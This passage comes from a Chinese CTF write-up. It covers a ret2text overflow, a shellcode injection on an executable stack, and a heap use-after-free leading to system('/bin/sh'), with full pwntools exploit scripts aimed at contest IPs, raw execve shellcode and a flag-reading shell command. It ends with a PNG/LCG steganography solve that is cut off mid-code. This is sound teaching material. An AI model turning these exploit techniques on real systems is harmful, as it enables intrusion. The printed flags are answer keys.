&lt;p&gt;这正是题目要求的 &lt;code&gt;ret2text&lt;/code&gt; 目标函数。&lt;/p&gt;
&lt;p&gt;思路非常直接：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;用溢出覆盖返回地址；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;让程序返回到 &lt;code&gt;secret\_note\(\)&lt;/code&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;system\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;\)&lt;/code&gt; 拿到 shell；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过 shell 读取 &lt;code&gt;/flag&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;栈布局如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;buf[0x40] + saved rbp[0x8] + ret addr[0x8]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以覆盖返回地址的偏移为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x40 + 0x8 = 0x48 = 72
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果直接将返回地址覆盖成 &lt;code&gt;secret\_note&lt;/code&gt;，程序会在 &lt;code&gt;system\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;\)&lt;/code&gt; 内部崩溃。&lt;/p&gt;
&lt;p&gt;原因是 &lt;code&gt;amd64&lt;/code&gt; 下调用某些 &lt;code&gt;libc&lt;/code&gt; 函数时需要满足 &lt;code&gt;16&lt;/code&gt; 字节栈对齐。这里直接 &lt;code&gt;ret&lt;/code&gt; 到后门函数会导致栈对齐不满足，从而在 &lt;code&gt;do\_system&lt;/code&gt; 中段错误。&lt;/p&gt;
&lt;p&gt;因此需要先跳一个单独的 &lt;code&gt;ret&lt;/code&gt; gadget 做对齐：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ret gadget:   0x40101a
secret_note:  0x401196
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终利用链为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;A&apos; * 72 + p64(0x40101a) + p64(0x401196)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;EXP如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

host = &quot;47.99.147.34&quot;
port = 21395

ret = 0x40101a
secret_note = 0x401196

payload = b&quot;A&quot; * 72 + p64(ret) + p64(secret_note)

p = remote(host, port)
p.recvuntil(b&quot;Leave your note:\n&quot;)
p.send(payload)

# 进入 /bin/sh 后读取 flag
p.sendline(b&quot;cat /flag&quot;)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-54.png&quot; alt=&quot;Figure 54&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PWN-MessageBoard&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;文件检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ file vuln
ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

$ checksec vuln
Arch:   amd64-64-little
RELRO:  Partial RELRO
Stack:  No canary found       ← 无栈 canary，可以直接溢出
NX:     NX unknown (GNU_STACK missing)
PIE:    No PIE (0x400000)
Stack:  Executable             ← 栈可执行，能直接跳到 shellcode
RWX:    Has RWX segments
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;四大保护里关键的两个：没有 canary、栈可执行。结合&quot;程序主动泄露栈地址&quot;，结论就明摆着——往栈上写shellcode，把返回地址覆盖到 shellcode 起始。&lt;/p&gt;
&lt;p&gt;ida打开文件分析，main函数如下&lt;/p&gt;
&lt;p&gt;main 只是把 stdin/stdout/stderr 关掉缓冲然后调 vuln()。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-55.png&quot; alt=&quot;Figure 55&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关键函数是vuln()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-56.png&quot; alt=&quot;Figure 56&quot; /&gt;&lt;/p&gt;
&lt;p&gt;两个漏洞点合体：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;printf(&quot;Buffer at: %p&quot;, buf) —— 直接泄露 buf 在栈上的地址，绕过 ASLR；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;read(0, buf, 0x100) —— 缓冲区只有 0x80（128）字节，却允许写 0x100（256）字节，足够把 saved RBP 和返回地址都覆盖掉。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;漏洞利用思路&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;栈布局（从低地址到高地址）：

[ buf 起始 (0x80=128 字节) ][ saved RBP (8) ][ return addr (8) ][ ... ]
          ↑
       buf 地址（被泄露）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;接收 Buffer at: 0x... 的输出，解析得到 buf 的栈地址。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;构造 payload：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前 0x80 字节填 shellcode（不足用 &apos;a&apos; 填到 0x88，覆盖 saved RBP）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接下来 8 字节写 p64(buf)，把返回地址改成 shellcode 起始地址；&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;vuln() 函数 leave; ret 时，从 buf（也就是 shellcode）开始执行，拿到 shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;偏移计算：buf 在 rbp-0x80，所以 buf -&amp;gt; saved RBP 距离是 0x80，再加 8 字节 saved RBP 就是返回地址，所以 shellcode后总共填到 0x88 字节再追加返回地址。&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&quot;amd64&quot;, os=&quot;linux&quot;, log_level=&quot;info&quot;)

p = remote(&quot;120.27.146.76&quot;, 20056)

shellcode = (
    b&quot;\x48\x31\xf6&quot;
    b&quot;\x56&quot;
    b&quot;\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68&quot;
    b&quot;\x57&quot;
    b&quot;\x54&quot;
    b&quot;\x5f&quot;
    b&quot;\xb0\x3b&quot;
    b&quot;\x99&quot;
    b&quot;\x0f\x05&quot;
)

p.recvuntil(b&apos;0x&apos;)
buf = int(p.recv(12), 16)
log.info(&quot;buf: &quot; + hex(buf))

payload = shellcode.ljust(0x88, b&apos;a&apos;)
payload += p64(buf)

p.sendlineafter(b&quot;Message: &quot;, payload)

# 列根目录、找 flag 文件
p.sendline(b&quot;ls / 2&amp;gt;&amp;amp;1; ls -la /flag* /home /tmp 2&amp;gt;&amp;amp;1; find / -maxdepth 3 -iname &apos;flag*&apos; 2&amp;gt;/dev/null&quot;)
p.sendline(b&quot;cat /flag 2&amp;gt;&amp;amp;1&quot;)
p.sendline(b&quot;cat /flag.txt 2&amp;gt;&amp;amp;1&quot;)
p.sendline(b&quot;exit&quot;)
print(p.recvall(timeout=6).decode(errors=&quot;replace&quot;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-57.png&quot; alt=&quot;Figure 57&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{985511156b8b35d5df4a1cad23ca4603}&lt;/p&gt;
&lt;h2&gt;PWN-UserManager&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-58.png&quot; alt=&quot;Figure 58&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目实现了一个简易用户系统，提供四个基础功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;register&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;login&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;delete&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;edit&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从功能上看只是普通的用户管理程序，但在堆对象释放和后续访问逻辑上存在明显缺陷。程序删除用户时虽然释放了对应堆块，却没有同步清空全局用户表中的指针，最终形成了一个可利用的 &lt;strong&gt;Use-After-Free&lt;/strong&gt;。在此基础上，再结合堆块复用和登录逻辑中的函数指针调用，可以逐步完成地址泄露、基址计算以及控制流劫持。&lt;/p&gt;
&lt;p&gt;最终目标是把悬垂的用户对象伪造成一个 fake object，使程序在 &lt;code&gt;login&lt;/code&gt; 阶段执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system(&quot;/bin/sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并进一步读出 flag。&lt;/p&gt;
&lt;p&gt;在此基础上，通过重新申请合适大小的堆块，可以使新用户的密码区复用原用户结构体所在的 chunk，从而借助 &lt;code&gt;edit&lt;/code&gt; 间接改写悬垂用户对象内容。结合 &lt;code&gt;login&lt;/code&gt; 中对函数指针的调用，最终可实现控制流劫持。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-59.png&quot; alt=&quot;Figure 59&quot; /&gt;&lt;/p&gt;
&lt;p&gt;利用思路如下：&lt;/p&gt;
&lt;p&gt;1.构造堆重叠&lt;/p&gt;
&lt;p&gt;先注册两个用户，再依次删除。由于旧指针仍保留在 &lt;code&gt;users&lt;/code&gt; 表中，随后注册新用户时，其密码块可复用原先用户结构体所在内存区域。这样，对新用户执行 &lt;code&gt;edit&lt;/code&gt;，实际上即可改写旧用户对象。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-60.png&quot; alt=&quot;Figure 60&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2.构造 &lt;code&gt;strcmp&lt;/code&gt; oracle&lt;/p&gt;
&lt;p&gt;通过伪造悬垂对象中的指针字段，使 &lt;code&gt;login&lt;/code&gt; 过程中 &lt;code&gt;strcmp&lt;/code&gt; 比较目标可控。根据登录成功或失败的返回结果，可以逐字节枚举目标地址内容。&lt;/p&gt;
&lt;p&gt;利用该 oracle：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;先恢复 &lt;code&gt;show&lt;/code&gt; 函数指针，计算程序基址（PIE）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;再读取 &lt;code&gt;puts@GOT&lt;/code&gt;，恢复 libc 基址&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;3.劫持控制流&lt;/p&gt;
&lt;p&gt;得到 libc 基址后，进一步计算出 &lt;code&gt;system&lt;/code&gt; 和 &lt;code&gt;\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;&lt;/code&gt; 的实际地址。随后将悬垂用户对象伪造成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;pass\_ptr \-\&amp;amp;gt; \&amp;amp;\#34;/bin/sh\&amp;amp;\#34;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show\_ptr \-\&amp;amp;gt; system&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;再次触发 &lt;code&gt;login&lt;/code&gt; 时，程序会执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system(&quot;/bin/sh&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进而获取 shell 并读取 flag。&lt;/p&gt;
&lt;p&gt;exp如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from pwn import *
import time

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
context.log_level = &quot;info&quot;

HOST = &quot;47.99.147.34&quot;
PORT = 19588
BIN_PATH = &quot;./login&quot;

# binary offsets (PIE)
SHOW_OFF      = 0x9D0
PUTS_GOT_OFF  = 0x201F98

# libc-2.23-0ubuntu11.3 offsets
PUTS_OFF      = 0x6F6A0
SYSTEM_OFF    = 0x453A0
BINSH_OFF     = 0x18CE57

# Heap LSBs after the UAF setup
SHOW_PTR_LSB  = 0x98
CHUNK_PTR_LSB = 0x80

PROMPT_T = 6

class DeadSession(Exception):
    &quot;&quot;&quot;Connection died or desynced — restart from scratch.&quot;&quot;&quot;

def open_io(local):
    if local:
        return process(BIN_PATH)
    return remote(HOST, PORT, timeout=12)

class Exploit:
    def __init__(self, io):
        self.io = io
        self.io.timeout = PROMPT_T
        self._first_op = True

    # ---- low-level guards ----------------------------------------------
    def _expect(self, marker, t=PROMPT_T):
        try:
            data = self.io.recvuntil(marker, timeout=t)
        except (EOFError, ConnectionResetError, ConnectionAbortedError,
                BrokenPipeError):
            raise DeadSession(f&quot;EOF waiting for {marker!r}&quot;)
        if marker not in data:
            raise DeadSession(f&quot;desync waiting for {marker!r}, tail={data[-80:]!r}&quot;)
        return data

    def _send(self, data):
        try:
            self.io.send(data)
        except (BrokenPipeError, ConnectionAbortedError, ConnectionResetError):
            raise DeadSession(&quot;write failed&quot;)

    def _sendline(self, data):
        self._send(data + b&quot;\n&quot;)

    def _menu(self):
        self._expect(b&quot;Your choice:&quot;)

    # ---- menu primitives -----------------------------------------------
    def register(self, idx, length, data):
        if not self._first_op:
            self._menu()
        self._first_op = False
        self._sendline(b&quot;2&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Input the password length:&quot;)
        self._sendline(str(length).encode())
        self._expect(b&quot;Input password:&quot;)
        self._send(data)
        self._expect(b&quot;Register success!&quot;)

    def delete(self, idx):
        if not self._first_op:
            self._menu()
        self._first_op = False
        self._sendline(b&quot;3&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Delete success!&quot;)

    def edit(self, idx, data):
        self._menu()
        self._sendline(b&quot;4&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Input new pass:&quot;)
        self._send(data)

    def login(self, idx, data):
        self._menu()
        self._sendline(b&quot;1&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Input the passwords length:&quot;)
        self._sendline(str(len(data)).encode())
        self._expect(b&quot;Input the password:&quot;)
        self._send(data)
        try:
            return self.io.recvuntil(b&quot;Your choice:&quot;, timeout=PROMPT_T)
        except (EOFError, ConnectionResetError, ConnectionAbortedError):
            raise DeadSession(&quot;EOF after login&quot;)

    # ---- UAF setup -----------------------------------------------------
    def setup(self):
        # password0 / user0 / password1 / user1 all into fastbin[0x20]
        self.register(0, 0x20, b&quot;A&quot; * 0x20)
        self.register(1, 0x20, b&quot;B&quot; * 0x20)
        self.delete(1)
        self.delete(0)
        # malloc(24) reuses user_0&apos;s freed chunk as user_2&apos;s password buffer;
        # malloc(0x18) reuses password_0&apos;s freed chunk as user_2&apos;s struct.
        # Now users[0] (dangling) overlaps user_2&apos;s password buffer, so
        # edit(2, ...) writes through users[0]-&amp;gt;{password,show,length}.
        self.register(2, 24, bytes([CHUNK_PTR_LSB]))

    # ---- oracles -------------------------------------------------------
    def oracle_relative(self, lsb, payload):
        self.edit(2, bytes([lsb]))
        return b&quot;Login success!&quot; in self.login(0, payload)

    def oracle_absolute(self, addr, show_addr, payload):
        self.edit(2, p64(addr) + p64(show_addr) + p64(0x20))
        return b&quot;Login success!&quot; in self.login(0, payload)

    # ---- byte-by-byte leaks --------------------------------------------
    def _leak(self, oracle, lsb_or_base, abs_mode, show_addr=None):
        leaked = b&quot;&quot;
        for i in range(5, -1, -1):
            tail = leaked + b&quot;\x00&quot;
            for guess in range(256):
                pwd = bytes([guess]) + tail
                if abs_mode:
                    hit = oracle(lsb_or_base + i, show_addr, pwd)
                else:
                    hit = oracle((lsb_or_base + i) &amp;amp; 0xFF, pwd)
                if hit:
                    leaked = bytes([guess]) + leaked
                    log.info(f&quot;  byte {i}: 0x{guess:02x}  acc={leaked.hex()}&quot;)
                    break
            else:
                raise RuntimeError(f&quot;failed leak at byte {i}&quot;)
        return u64(leaked.ljust(8, b&quot;\x00&quot;))

    def leak_pie_show(self):
        return self._leak(self.oracle_relative, SHOW_PTR_LSB, abs_mode=False)

    def leak_libc_puts(self, puts_got, show_addr):
        return self._leak(self.oracle_absolute, puts_got,
                          abs_mode=True, show_addr=show_addr)

    # ---- finisher ------------------------------------------------------
    def pop_shell(self, system_addr, binsh_addr):
        # The last login() consumed &quot;Your choice:&quot; — start fresh here.
        self._sendline(b&quot;4&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(b&quot;2&quot;)
        self._expect(b&quot;Input new pass:&quot;)
        self._send(p64(binsh_addr) + p64(system_addr) + p64(8))
        time.sleep(0.05)

        self._menu()
        self._sendline(b&quot;1&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(b&quot;0&quot;)
        self._expect(b&quot;Input the passwords length:&quot;)
        self._sendline(b&quot;8&quot;)
        self._expect(b&quot;Input the password:&quot;)
        self._send(b&quot;/bin/sh\x00&quot;)

        time.sleep(0.4)
        self.io.sendline(
            b&quot;id; cat /flag* 2&amp;gt;/dev/null; cat /home/*/flag* 2&amp;gt;/dev/null; ls /&quot;
        )
        try:
            out = self.io.recvrepeat(3)
            log.success(f&quot;shell output:\n{out.decode(errors=&apos;replace&apos;)}&quot;)
        except Exception:
            pass
        self.io.interactive()

def run_round(local):
    io = open_io(local)
    try:
        ex = Exploit(io)
        ex.setup()

        log.info(&quot;phase 1: leak PIE via show pointer&quot;)
        show_addr = ex.leak_pie_show()
        pie = show_addr - SHOW_OFF
        puts_got = pie + PUTS_GOT_OFF
        log.success(f&quot;show={hex(show_addr)} pie={hex(pie)} puts_got={hex(puts_got)}&quot;)

        log.info(&quot;phase 2: leak libc via puts@got&quot;)
        puts_addr = ex.leak_libc_puts(puts_got, show_addr)
        libc = puts_addr - PUTS_OFF
        system_addr = libc + SYSTEM_OFF
        binsh_addr = libc + BINSH_OFF
        log.success(f&quot;puts={hex(puts_addr)} libc={hex(libc)} system={hex(system_addr)}&quot;)

        log.info(&quot;phase 3: trigger system(\&quot;/bin/sh\&quot;)&quot;)
        ex.pop_shell(system_addr, binsh_addr)
    finally:
        try:
            io.close()
        except Exception:
            pass

def main():
    local = bool(args.LOCAL)
    rounds = int(args.ROUNDS) if args.ROUNDS else 20

    for r in range(rounds):
        log.info(f&quot;=== round {r + 1}/{rounds} ===&quot;)
        try:
            run_round(local)
            return
        except DeadSession as e:
            log.warn(f&quot;dead session: {e}&quot;)
        except RuntimeError as e:
            log.warn(f&quot;runtime: {e}&quot;)
        except Exception as e:
            log.warn(f&quot;unexpected: {e!r}&quot;)
        time.sleep(0.5)
    log.error(&quot;exhausted retries&quot;)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-61.png&quot; alt=&quot;Figure 61&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;像素中的秘密&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-62.png&quot; alt=&quot;Figure 62&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;NG 结构拆解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PNG 的标准布局是 &lt;code&gt;signature\(8\) \+ chunks\.\.\.&lt;/code&gt;，每个 chunk 形如 &lt;code&gt;length\(4\) \+ type\(4\) \+ data \+ crc\(4\)&lt;/code&gt;。逐 chunk 解析后：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;偏移&lt;/th&gt;
&lt;th&gt;chunk&lt;/th&gt;
&lt;th&gt;长度&lt;/th&gt;
&lt;th&gt;CRC 校验&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;IHDR&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;✅ 通过&lt;/td&gt;
&lt;td&gt;64×64 RGB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;IDAT&lt;/td&gt;
&lt;td&gt;124&lt;/td&gt;
&lt;td&gt;✅ 通过&lt;/td&gt;
&lt;td&gt;像素数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;169&lt;/td&gt;
&lt;td&gt;IEND&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;✅ 通过&lt;/td&gt;
&lt;td&gt;PNG 结束标志&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;按规范，&lt;strong&gt;IEND 之后不应该再有任何字节&lt;/strong&gt;。这里多出了 64 字节，肯定是出题人塞进去的载荷。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-63.png&quot; alt=&quot;Figure 63&quot; /&gt;&lt;/p&gt;
&lt;p&gt;附加数据如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000 69cb3444 e6741ecc fec75329
8b2b8b36 5de383f9 b6a8455f aa22d9fa
801804f6 7e1336a0 8483d711 bb2c210c
fb1ee500 5f32e934 03862da8 e71ab15c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先验证一下图像本体没有 LSB 之类的隐写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from PIL import Image
img = Image.open(&quot;image_08.png&quot;)
print(set(img.getdata()))   # {(255, 255, 255)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有一个像素值 `(255, 255, 255)`，所以 LSB / 位平面 / 调色板这些&lt;strong&gt;都不可能&lt;/strong&gt;藏数据。题目标题里的&quot;像素&quot;是 misdirection（误导），真正的秘密在 IEND 之外。&lt;/p&gt;
&lt;p&gt;对 64 字节做特征分析：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;熵 (Shannon entropy)  : 5.60 / 8.00
字节频率              : 大致均匀分布
可打印 ASCII 占比     : 21/64 ≈ 33%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;熵 5.6 说明数据&lt;strong&gt;不是纯随机&lt;/strong&gt;也不是普通文本，符合&quot;加密数据&quot;或&quot;压缩数据&quot;的特征。&lt;/p&gt;
&lt;p&gt;观察整体结构，把 64 字节拆成 8 段 8 字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: 00 00 00 00 69 cb 34 44   ← 前 4 字节为 0，后 4 字节像 32 位整数
1: e6 74 1e cc fe c7 53 29   ← 高熵
2: 8b 2b 8b 36 5d e3 83 f9
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第 0 段的&quot;4 字节零 + 4 字节随机&quot;是非常典型的 &lt;strong&gt;&quot;32 位整数用 8 字节大端存储&quot;&lt;/strong&gt; 模式。常见的几种可能：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;解释&lt;/th&gt;
&lt;th&gt;后续数据&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8 字节种子（实际 32 位）&lt;/td&gt;
&lt;td&gt;后 56 字节 = 流密码密文&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 字节 IV（实际 32 位）&lt;/td&gt;
&lt;td&gt;后 48~56 字节 = 分组密钥密文&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 字节长度/版本字段&lt;/td&gt;
&lt;td&gt;后 56 字节 = 实际载荷&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;56 字节不是 16 的倍数&lt;/strong&gt; → 不太可能是 AES-CBC/ECB（块密码会要求 16 字节对齐）。&lt;/p&gt;
&lt;p&gt;反过来，&lt;strong&gt;56 字节适合流密码&lt;/strong&gt;（任意长度都能加解密）。&lt;/p&gt;
&lt;p&gt;流密码用什么生成密钥流？常见的可能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;LCG（线性同余生成器）&lt;/strong&gt;——CTF 里最常见的&quot;自实现弱 PRNG&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mersenne Twister（Python &lt;code&gt;random&lt;/code&gt; 默认）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;xorshift 系列&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自定义 LFSR&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;LCG 的优势：实现极短、参数广为人知（C &lt;code&gt;rand&lt;/code&gt;、Java、glibc、Numerical Recipes）。&lt;/p&gt;
&lt;p&gt;试一组&lt;strong&gt;最常见的 LCG 参数表&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;乘数 a&lt;/th&gt;
&lt;th&gt;增量 c&lt;/th&gt;
&lt;th&gt;模数 m&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Numerical Recipes&lt;/td&gt;
&lt;td&gt;1664525&lt;/td&gt;
&lt;td&gt;1013904223&lt;/td&gt;
&lt;td&gt;2³²&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;glibc rand&lt;/td&gt;
&lt;td&gt;1103515245&lt;/td&gt;
&lt;td&gt;12345&lt;/td&gt;
&lt;td&gt;2³¹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MS Visual C&lt;/td&gt;
&lt;td&gt;214013&lt;/td&gt;
&lt;td&gt;2531011&lt;/td&gt;
&lt;td&gt;2³¹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Borland C&lt;/td&gt;
&lt;td&gt;22695477&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2³²&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;每组都试一遍：&quot;种子 = 前 8 字节 mod 2³²，跑 56 轮取低 8 位作为密钥流，与后 56 字节 XOR&quot;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def try_lcg(seed, mul, add, mod, ct):
    x = seed % mod
    out = bytearray()
    for c in ct:
        x = (mul * x + add) % mod
        out.append(c ^ (x &amp;amp; 0xFF))
    return bytes(out)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试到 &lt;strong&gt;Numerical Recipes&lt;/strong&gt; `(1664525, 1013904223, 2³²)` 时，输出变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b&apos;5bctImREPUNVbqJmUNHWmXHFkVQF1qoDw5JIlf&apos; + b&apos;\x00&apos; * 18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;中间结果 &lt;code&gt;5bctImREPUNVbqJmUNHWmXHFkVQF1qoDw5JIlf&lt;/code&gt; 字符集是 &lt;code&gt;\[0\-9 a\-z A\-Z\]&lt;/code&gt;，没有 &lt;code&gt;\+/=&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这正好是 &lt;strong&gt;base62 字母表&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;base62 解码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def base62_decode(s):
    alpha = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
    n = 0
    for ch in s:
        n = n * 62 + alpha.index(ch)
    return n.to_bytes((n.bit_length() + 7) // 8, &quot;big&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;p&gt;flag{xor_with_pseudo_random}&lt;/p&gt;
&lt;p&gt;完整的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from __future__ import annotations
from pathlib import Path
from typing import Iterator
import struct
import sys

PNG_SIGNATURE = b&quot;\x89PNG\r\n\x1a\n&quot;
B62_ALPHABET = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
B62_INDEX = {c: i for i, c in enumerate(B62_ALPHABET)}

# Numerical Recipes 的 LCG 常数
LCG_MUL = 1664525
LCG_ADD = 1013904223
LCG_MOD = 1 &amp;lt;&amp;lt; 32

def extract_after_iend(path: str | Path) -&amp;gt; bytes:
 
